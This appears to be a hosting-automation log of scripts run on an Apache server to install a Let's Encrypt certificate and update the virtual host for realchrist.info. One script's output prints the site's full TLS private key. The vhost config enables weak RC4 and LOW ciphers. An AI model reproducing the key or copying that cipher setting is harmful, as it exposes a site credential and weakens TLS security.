tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-04 06:00:16: 

chmod 755 /tmp/pkp522221; /tmp/pkp522221; rm /tmp/pkp522221

2025-12-04 06:00:16: 


dir=/etc/ssl/certs


2025-12-04 06:00:16: 

PUT: /tmp/pkp875455

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realchrist_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-04 06:00:16: 

chmod 755 /tmp/pkp875455; /tmp/pkp875455; rm /tmp/pkp875455

2025-12-04 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 43

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-04 06:00:16: 

PUT: /tmp/pkp306072

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realchrist_www_info.conf
TARGET=/etc/apache2/sites-enabled/realchrist_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realchrist_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf= 1'
fi


2025-12-04 06:00:16: 

chmod 755 /tmp/pkp306072; /tmp/pkp306072; rm /tmp/pkp306072

2025-12-04 06:00:16: 




2025-12-04 06:00:16: 

PUT: /tmp/pkp922870

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-04 06:00:16: 

chmod 755 /tmp/pkp922870; /tmp/pkp922870; rm /tmp/pkp922870

2025-12-04 06:00:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-04 06:00:17: Establishing a connection
2025-12-04 06:00:17: 

PUT: /tmp/pkp421116

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-04 06:00:17: 

chmod 755 /tmp/pkp421116; /tmp/pkp421116; rm /tmp/pkp421116

2025-12-04 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-04 06:00:17: 

PUT: /tmp/pkp704656

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realchrist_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-04 06:00:17: 

chmod 755 /tmp/pkp704656; /tmp/pkp704656; rm /tmp/pkp704656

2025-12-04 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf	1393

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-04 06:00:17: 

PUT: /tmp/pkp742756

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-04 06:00:17: 

chmod 755 /tmp/pkp742756; /tmp/pkp742756; rm /tmp/pkp742756

2025-12-04 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt	5393
66:19:49:be:a0:63:2c:e5:87:9f:2a:e1:e6:b3:82:6f

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBo8GKDCz7LHBigQYqwdJQmeGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTQ1WhcNMjYwMzA0MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdopAGCMXGqNweQskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMF
ZHha263Od9lvi+MQtGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQH
KkVYXExCnXIPRrl1c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2
NM6oS0eUCyluLeT5YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOv
eVF9+rircYpYHpi3b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQp
IfVNlv/AxPOTikT+23CYMfYjAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCcWExjj3iQSmxs3kGOf8veMcvWyMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQm
MCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uV
BAAAAZrn8mtnAAAEAwBHMEUCIAiKZE8DfM68sKIgLXconsHBYJHxjfy2aUVST0A/
/Cm4AiEAncyzAPN3ECyTk2iJMyhhytOzXHJaegxo5I5x2IY+ydoAfgDjI43yjaKI
4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZrn8mujAAgAAAUAJ8mHTQQDAEcw
RQIgCgn1ngJkGT3cf23TuOvOvhfjOM1J6mTOn92Y6qmDeSkCIQDDtHp3shyGBKVb
hf4B2hwmo964pqX/Hwux/GTcA4PNUTANBgkqhkiG9w0BAQsFAAOCAQEAjgNDJqrY
KVQtJMpdhYdYGSehAku/Md8GbWfxh+tRKrwYlx5B2BOdjmp/MMSPOvuylCoPEfuN
GIniIt9vd0SwVtjJMXwvw6CAHldBi0hqPSg04OmBxGEyoxeUvS+nTRIqprF8L8Aa
L5+6PV4e70lkV06blnbzLHJt/kP9pAwxPx0hdewoZpoJKE2/tavQcCfnt2Q+r85A
xjNXL6BZ/SjMz5fmN5iLHIMXdjoAYnc0IaCttASFBYG7oQ8rU7t3MqvSrbufCCqH
PHcKhHTM+x06Beh2DHEhI1bmYFB64wXr0V0xyOIWyXdXARQHtiScn7QDwzn6VTV3
m/Pc8JgtJUOhJw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDdopAGCMXGqNwe
QskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMFZHha263Od9lvi+MQ
tGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQHKkVYXExCnXIPRrl1
c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2NM6oS0eUCyluLeT5
YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOveVF9+rircYpYHpi3
b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQpIfVNlv/AxPOTikT+
23CYMfYjAgMBAAECggEBALx7oSvgjgFyXS/G8CmGcOnu3Q+HdFcHCLWu/qbMz/dm
7oZa41BCn1VASAJiz3DojooGRHtP5TQ9rK7qHDO+YW9iF8m9at/DzBsLNeIkpwZN
iXtL/ElDBtN6PVVpbKjjQ/HvHFOSfguLw/CkfNlahTv1UbkBtrq6UcZWI92HKiN+
QayTdBuQl/LiWp7SV742WGUSOxSr4tI4vmXVhizSCftT092CBNqIhkD7m7Ju0fTQ
XMNBHsq//0WM1T2IKoppDKbjbcx9w8aBgCb8n1ybH/2w7m8UbGksmLTxYYmVIjMZ
pH1ZwqPEM+GfrogFuCAXypwh2NOj+auLWefPzVYNDbECgYEA8wiy1gD+9pqKYba4
CNmWSdK11S0vwdpXlxzKJt6EYToTeYjjxHfc6twHMZKE6VBSJznniziIgtBAB3Mk
SUkJkHzJpwPDfttfjDgHPfrs4+f+kfB7ERvkvgY94ohbpNkqa6IPQHA4x3MfezpC
pne495DnAf+l28k5O77mdzshNd8CgYEA6XWaFV+bgXThtVWMCYf70GoNkZqqGAWf
fqOqHl87tYsu+sVzvV/r9/j8ak0hIxULtcOi/laqjJhzR7JJOoQvLVwQaGdGflXo
u+4OH/DQzdgh+C0BE7f0BFv+ATPclqzlqRnQATD1j8IwDsOj30nzxK4bPTePKYEK
VuODvHB74D0CgYEAlIyKkxgEv8LyNouyrWYh4Hm0vtphyIGm7Cyiu2NjUvJmmPC9
F4eUNtHKa9h8+QcpT+SqzIP/nMWhfWw5j7ne6Lv9neJFCjMYkeJlOtM3HI7fIWD2
OBzukd/Kz749FePPc/6Yh/CQJAkQAwg3WPzwyBF/wc77F/5Ex2oGAHbZ880CgYEA
lyOniUbIKds9dGPZsSH0CE1gU29Jxxt80kOqktcclL9yvq6t61/6KCNtZnRgi5HI
bvgkwXviFftsRnJJrjR9RmRfyvdxT8DWVzQauNrykxDljQG1vMpOk7PqkWS93l44
oG0xmFPV5ifVbPmDUb9SrXX59HvPlxMPWokYdBpuWBECgYEAkHj+owYuQUaegzeZ
7ac/EaASJwRKom2yzzaIlxsL5k394X/umr/f4W6MArEEiuPucOuSgKaMqJyMdCHz
Wgi3bsRxuvZMS+XPtuiZT4nHz/E/3Ky3T3Y/ARJQq7/9/JFTRjyKKLhnMiZnq0fC
omlJAKep4dTiELOpGE+Ro/t7kHc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-04 06:00:17: Establishing a connection
2025-12-04 06:00:17: Establishing a connection
2025-12-04 06:00:18: 

PUT: /tmp/pkp157076

#!/bin/bash
if [ -d "/var/www/drewmarshall_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-04 06:00:18: 

chmod 755 /tmp/pkp157076; /tmp/pkp157076; rm /tmp/pkp157076

2025-12-04 06:00:18: 


1


2025-12-04 06:00:18: Establishing a connection
2025-12-04 06:00:19: 

PUT: /tmp/pkp618446

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
